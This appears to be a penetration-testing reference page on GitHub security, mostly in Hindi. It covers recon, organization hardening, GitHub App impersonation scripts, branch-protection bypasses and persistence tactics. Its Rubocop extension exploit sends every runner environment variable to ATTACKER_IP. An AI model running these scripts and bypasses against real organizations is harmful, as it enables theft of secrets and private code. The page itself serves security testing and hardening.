Github Security

Reading time: 21 minutes

What is Github

(From here) एक उच्च स्तर पर, GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी।

Basic Information

Basic Github Information

External Recon

Github रिपॉजिटरी को सार्वजनिक, निजी और आंतरिक के रूप में कॉन्फ़िगर किया जा सकता है।

• Private का मतलब है कि केवल संस्थान के लोग ही उन्हें एक्सेस कर सकेंगे
• Internal का मतलब है कि केवल उद्यम के लोग (एक उद्यम में कई संस्थान हो सकते हैं) ही इसे एक्सेस कर सकेंगे
• Public का मतलब है कि सभी इंटरनेट इसे एक्सेस कर सकेगा।

यदि आप जानते हैं कि कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं, तो आप github dorks का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक के लिए खोज सकते हैं।

Github Dorks

Github किसी चीज़ को खोजने की अनुमति देता है, जिसमें एक उपयोगकर्ता, एक रिपॉजिटरी या एक संगठन को स्कोप के रूप में निर्दिष्ट किया गया है। इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से अपने लक्ष्य में संभावित संवेदनशील जानकारी के लिए खोज सकते हैं।

Tools (प्रत्येक टूल में इसके dorks की सूची होती है):

• https://github.com/obheda12/GitDorker (Dorks list)
• https://github.com/techgaun/github-dorks (Dorks list)
• https://github.com/hisxo/gitGraber (Dorks list)

Github Leaks

कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी की खोज करेंगे (यहां तक कि कुछ गहराई के कमिट की जांच करना)।

Tools (प्रत्येक टूल में इसके regexes की सूची होती है):

Check this page: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

External Forks

यह पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता करना संभव है। यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता होती है। इससे संबंधित अधिक जानकारी नीचे।

Github Leaks in deleted/internal forks

यहां तक कि यदि यह हटा दिया गया है या आंतरिक है, तो github रिपॉजिटरी के forks से संवेदनशील डेटा प्राप्त करना संभव हो सकता है। इसे यहां देखें:

Accessible Deleted Data in Github

Organization Hardening

Member Privileges

संस्थान के सदस्यों को कुछ डिफ़ॉल्ट विशेषाधिकार सौंपे जा सकते हैं। इन्हें पृष्ठ https://github.com/organizations/<org_name>/settings/member_privileges से या Organizations API से नियंत्रित किया जा सकता है।

• Base permissions: सदस्यों को संगठन की रिपॉजिटरी पर None/Read/write/Admin की अनुमति होगी। अनुशंसित है None या Read।
• Repository forking: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी को fork करने की अनुमति न दें।
• Pages creation: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी से पृष्ठ प्रकाशित करने की अनुमति न दें। यदि आवश्यक हो, तो आप सार्वजनिक या निजी पृष्ठ बनाने की अनुमति दे सकते हैं।
• Integration access requests: इसे सक्षम करने पर बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुंच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक होता है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है।
• मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें
• Repository visibility change: यदि सक्षम है, तो सदस्य जिनके पास रिपॉजिटरी के लिए admin अनुमतियाँ हैं, वे इसके दृश्यता को बदलने में सक्षम होंगे। यदि अक्षम है, तो केवल संगठन के मालिक ही रिपॉजिटरी की दृश्यता बदल सकते हैं। यदि आप नहीं चाहते कि लोग चीजों को सार्वजनिक बनाएं, तो सुनिश्चित करें कि यह अक्षम है।
• मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें
• Repository deletion and transfer: यदि सक्षम है, तो सदस्यों के पास admin अनुमतियाँ होने पर वे सार्वजनिक और निजी **रिपॉजिटरी को हटाने या स्थानांतरित करने में सक्षम होंगे।
• मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें
• Allow members to create teams: यदि सक्षम है, तो संगठन का कोई भी सदस्य नए टीम बनाने में सक्षम होगा। यदि अक्षम है, तो केवल संगठन के मालिक नए टीम बना सकते हैं। इसे अक्षम रखना बेहतर है।
• मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें
• इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं लेकिन पिछले अधिकतर सुरक्षा से संबंधित हैं।

Actions Settings

कई सुरक्षा से संबंधित सेटिंग्स को पृष्ठ https://github.com/organizations/<org_name>/settings/actions से कॉन्फ़िगर किया जा सकता है।

• Github actions policies: यह आपको यह संकेत करने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि कौन सी रिपॉजिटरी की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें।
• API-1, API-2
• Fork pull request workflows from outside collaborators: अनुशंसित है कि सभी बाहरी सहयोगियों के लिए अनुमोदन की आवश्यकता हो।
• मैंने इस जानकारी के साथ कोई API नहीं पाया, यदि आप करते हैं तो साझा करें
• Run workflows from fork pull requests: यह अत्यधिक निषेधित है कि पुल अनुरोधों से कार्यप्रवाह चलाए जाएं क्योंकि fork मूल के रखरखावकर्ताओं को स्रोत रिपॉजिटरी पर पढ़ने की अनुमतियों के साथ टोकन का उपयोग करने की क्षमता दी जाएगी।
• मैंने इस जानकारी के साथ कोई API नहीं पाया, यदि आप करते हैं तो साझा करें
• Workflow permissions: यह अत्यधिक अनुशंसित है कि केवल पढ़ने की रिपॉजिटरी अनुमतियाँ दी जाएं। GITHUB_TOKEN का दुरुपयोग करने से बचने के लिए लिखने और पुल अनुरोधों को बनाने/स्वीकृत करने की अनुमतियाँ देना हतोत्साहित किया जाता है।
• API

Integrations

यदि आप इस जानकारी तक पहुँचने के लिए API एंडपॉइंट जानते हैं तो मुझे बताएं!

• Third-party application access policy: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा के बाद)।
• Installed GitHub Apps: अनुशंसित है कि केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा के बाद)।

Recon & Attacks abusing credentials

इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त कर ली है।

With User Credentials

यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप बस लॉगिन कर सकते हैं और देख सकते हैं कि आपके पास कौन से उद्यम और संगठन की भूमिकाएँ हैं, यदि आप एक सामान्य सदस्य हैं, तो देखें कि सामान्य सदस्यों के पास कौन से अनुमतियाँ हैं, आप किस समूहों में हैं, आपके पास किस रिपॉजिटरी पर कौन सी अनुमतियाँ हैं, और रिपॉजिटरी कैसे सुरक्षित हैं।

ध्यान दें कि 2FA का उपयोग किया जा सकता है इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी पास कर सकें।

यदि यह उपयोगी हो तो branch protections bypasses के बारे में नीचे दिए गए अनुभाग की जांच करें।

With User SSH Key

Github उपयोगकर्ताओं को SSH कुंजी सेट करने की अनुमति देता है जो उनके पक्ष में कोड को तैनात करने के लिए प्रमाणन विधि के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)।

इस कुंजी के साथ आप उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं ताकि उस जानकारी को प्राप्त किया जा सके जो आपके पास पहुँच है:

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने github उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में जनता की चाबियाँ https://github.com/<github_username>.keys पर पहुंच सकते हैं, आप यह पुष्टि करने के लिए इसे जांच सकते हैं कि जो निजी कुंजी आपने पाई है, उसका उपयोग किया जा सकता है।

SSH कुंजी को डिप्लॉय कुंजी के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुंच रखने वाला कोई भी व्यक्ति एक रिपॉजिटरी से प्रोजेक्ट लॉन्च कर सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल ~/.ssh/config आपको संबंधित कुंजी के बारे में जानकारी देगी।

GPG कुंजी

जैसा कि यहाँ समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।

स्थानीय रूप से जांचें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:

gpg --list-secret-keys --keyid-format=long

With User Token

यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहां देखें।

एक यूजर टोकन को पासवर्ड के बजाय Git over HTTPS के लिए उपयोग किया जा सकता है, या इसे बेसिक ऑथेंटिकेशन के माध्यम से API के लिए प्रमाणित करने के लिए उपयोग किया जा सकता है। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएं करने में सक्षम हो सकते हैं।

एक यूजर टोकन इस तरह दिखता है: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

With Oauth Application

Github Oauth एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहां देखें।

एक हमलावर एक दुष्ट Oauth एप्लिकेशन बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुंच प्राप्त की जा सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।

ये स्कोप हैं जो एक Oauth एप्लिकेशन अनुरोध कर सकता है। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप की जांच करनी चाहिए।

इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, संस्थाएं तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुंच देने/नकारने का अधिकार रखती हैं जो संगठन से संबंधित हैं।

With Github Application

Github एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहां देखें।

एक हमलावर एक दुष्ट Github एप्लिकेशन बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुंच प्राप्त की जा सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।

इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, संस्थाएं तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुंच देने/नकारने का अधिकार रखती हैं जो संगठन से संबंधित हैं।

Impersonate a GitHub App with its private key (JWT → installation access tokens)

यदि आप एक GitHub एप्लिकेशन की निजी कुंजी (PEM) प्राप्त करते हैं, तो आप इसके सभी इंस्टॉलेशन में एप्लिकेशन का पूरी तरह से अनुकरण कर सकते हैं:

• निजी कुंजी के साथ हस्ताक्षरित एक अल्पकालिक JWT उत्पन्न करें
• इंस्टॉलेशन की सूची बनाने के लिए GitHub एप्लिकेशन REST API को कॉल करें
• प्रति-इंस्टॉलेशन एक्सेस टोकन बनाएं और उनका उपयोग उन रेपोजिटरी को सूचीबद्ध/क्लोन/पुश करने के लिए करें जो उस इंस्टॉलेशन को दिए गए हैं

आवश्यकताएँ:

• GitHub एप्लिकेशन की निजी कुंजी (PEM)
• GitHub एप्लिकेशन ID (संख्यात्मक)। GitHub को आवश्यक है कि iss एप्लिकेशन ID हो

Create JWT (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

प्रमाणित ऐप के लिए इंस्टॉलेशन सूची:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

एक इंस्टॉलेशन एक्सेस टोकन बनाएं (मान्य ≤ 10 मिनट):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

कोड तक पहुँचने के लिए टोकन का उपयोग करें। आप x‑access‑token URL रूप का उपयोग करके क्लोन या पुश कर सकते हैं:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

विशिष्ट संगठन को लक्षित करने और निजी रिपोजिटरी की सूची बनाने के लिए प्रोग्रामेटिक PoC (PyGithub + PyJWT):

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Notes:

• इंस्टॉलेशन टोकन ऐप के रिपॉजिटरी-स्तरीय अनुमतियों को ठीक से विरासत में लेते हैं (उदाहरण के लिए, contents: write, pull_requests: write)
• टोकन ≤10 मिनट में समाप्त हो जाते हैं, लेकिन यदि आप निजी कुंजी को बनाए रखते हैं तो नए टोकन अनिश्चितकाल तक बनाए जा सकते हैं
• आप JWT का उपयोग करके REST API (GET /app/installations) के माध्यम से इंस्टॉलेशन की गणना भी कर सकते हैं

समझौता और दुरुपयोग Github Action

Github Action को समझौता करने और दुरुपयोग करने के कई तकनीकें हैं, उन्हें यहाँ देखें:

Abusing Github Actions

बाहरी उपकरणों (Rubocop एक्सटेंशन RCE) को चलाने वाले तीसरे पक्ष के GitHub ऐप्स का दुरुपयोग

कुछ GitHub ऐप्स और PR समीक्षा सेवाएँ पुल अनुरोधों के खिलाफ बाहरी लिंटर्स/SAST को रिपॉजिटरी-नियंत्रित कॉन्फ़िगरेशन फ़ाइलों का उपयोग करके निष्पादित करती हैं। यदि एक समर्थित उपकरण गतिशील कोड लोडिंग की अनुमति देता है, तो एक PR सेवा के रनर पर RCE प्राप्त कर सकता है।

उदाहरण: Rubocop अपने YAML कॉन्फ़िग से एक्सटेंशन लोड करने का समर्थन करता है। यदि सेवा एक repo-प्रदान की गई .rubocop.yml को पास करती है, तो आप एक स्थानीय फ़ाइल को आवश्यक करके मनमाना Ruby निष्पादित कर सकते हैं।

• ट्रिगर स्थितियों में आमतौर पर शामिल हैं:
• उपकरण सेवा में सक्षम है
• PR में फ़ाइलें होती हैं जिन्हें उपकरण पहचानता है (Rubocop के लिए: .rb)
• रिपॉजिटरी में उपकरण की कॉन्फ़िग फ़ाइल होती है (Rubocop कहीं भी .rubocop.yml के लिए खोजता है)

PR में शोषण फ़ाइलें:

.rubocop.yml

require:
- ./ext.rb

ext.rb (एक्सफिल्ट्रेट रनर एन्व वेरिएबल्स):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.

Impact observed in the wild:

• Full code execution on the production runner that executed the linter
• Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
• With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)

Hardening guidelines for services running external tools:

• Treat repository‑provided tool configs as untrusted code
• Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
• Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access

Branch Protection Bypass

• Require a number of approvals: यदि आपने कई खातों से समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रिपॉजिटरी के अंदर Github Action वातावरण तक पहुँच है, तो GITHUB_TOKEN का उपयोग करते हुए आप अपने PR को स्वीकृत कर सकते हैं और इस तरह 1 स्वीकृति प्राप्त कर सकते हैं।
• इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने PRs को स्वीकृत नहीं कर पाएगा, लेकिन यदि आप ऐसा कर सकते हैं, तो आप इसका दुरुपयोग करके अपने PRs को स्वीकार कर सकते हैं।
• Dismiss approvals when new commits are pushed: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, किसी के द्वारा इसे स्वीकृत होने की प्रतीक्षा कर सकते हैं, और फिर दुर्भावनापूर्ण कोड डालकर इसे सुरक्षित शाखा में मिला सकते हैं।
• Require reviews from Code Owners: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप Github Action को अपना PR बनाने और फिर इसे स्वयं स्वीकृत करने के लिए कह सकते हैं।
• जब CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई होती है, तो Github शिकायत नहीं करता लेकिन इसका उपयोग नहीं करता। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो कोड मालिकों की सुरक्षा लागू नहीं होती।
• Allow specified actors to bypass pull request requirements: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं।
• Include administrators: यदि यह सेट नहीं है और आप रिपॉजिटरी के प्रशासक हैं, तो आप इस शाखा की सुरक्षा को बायपास कर सकते हैं।
• PR Hijacking: आप किसी और के PR को संशोधित करने में सक्षम हो सकते हैं, दुर्भावनापूर्ण कोड जोड़ सकते हैं, परिणामस्वरूप PR को स्वयं स्वीकृत कर सकते हैं और सब कुछ मिला सकते हैं।
• Removing Branch Protections: यदि आप रिपॉजिटरी के प्रशासक हैं, तो आप सुरक्षा को निष्क्रिय कर सकते हैं, अपने PR को मिला सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं।
• Bypassing push protections: यदि एक रिपॉजिटरी केवल कुछ उपयोगकर्ताओं को शाखाओं में पुश (कोड मिलाना) करने की अनुमति देती है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड * निर्दिष्ट करती है)।
• यदि आपके पास रिपॉजिटरी पर लिखने की अनुमति है लेकिन आपको शाखा सुरक्षा के कारण कोड पुश करने की अनुमति नहीं है, तो आप अभी भी एक नई शाखा बना सकते हैं और इसके भीतर एक github action बना सकते हैं जो कोड पुश होने पर ट्रिगर होता है। चूंकि शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं देती, इस शाखा में पहले कोड पुश से github action निष्पादित होगा।

Bypass Environments Protections

For an introduction about Github Environment check the basic information.

In case an environment can be accessed from all the branches, it's isn't protected and you can easily access the secrets inside the environment. Note that you might find repos where all the branches are protected (by specifying its names or by using *) in that scenario, find a branch were you can push code and you can exfiltrate the secrets creating a new github action (or modifying one).

Note, that you might find the edge case where all the branches are protected (via wildcard *) it's specified who can push code to the branches (you can specify that in the branch protection) and your user isn't allowed. You can still run a custom github action because you can create a branch and use the push trigger over itself. The branch protection allows the push to a new branch so the github action will be triggered.

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

ध्यान दें कि शाखा के निर्माण के बाद शाखा सुरक्षा नए शाखा पर लागू होगी और आप इसे संशोधित नहीं कर पाएंगे, लेकिन उस समय तक आप पहले ही रहस्यों को डंप कर चुके होंगे।

स्थिरता

• उपयोगकर्ता टोकन उत्पन्न करें
• गिटहब टोकन को रहस्यों से चुराएं
• कार्यप्रवाह परिणामों और शाखाओं का हटाना
• सभी संगठन को अधिक अनुमतियाँ दें
• जानकारी को निकालने के लिए वेबहुक बनाएं
• बाहरी सहयोगियों को आमंत्रित करें
• SIEM द्वारा उपयोग किए गए वेबहुक को हटाएं
• बैकडोर के साथ गिटहब क्रिया बनाएं/संशोधित करें
• गुप्त मान संशोधन के माध्यम से कमांड इंजेक्शन के लिए कमजोर गिटहब क्रिया खोजें

धोखेबाज़ कमिट - रेपो कमिट के माध्यम से बैकडोर

गिटहब में यह संभव है कि एक फोर्क से एक रेपो के लिए PR बनाया जाए। भले ही PR स्वीकृत न हो, एक कमिट आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था।

जैसे यह:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

अधिक जानकारी के लिए देखें https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

संदर्भ

• How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories
• Rubocop extensions (require)
• Authenticating with a GitHub App (JWT)
• List installations for the authenticated app
• Create an installation access token for an app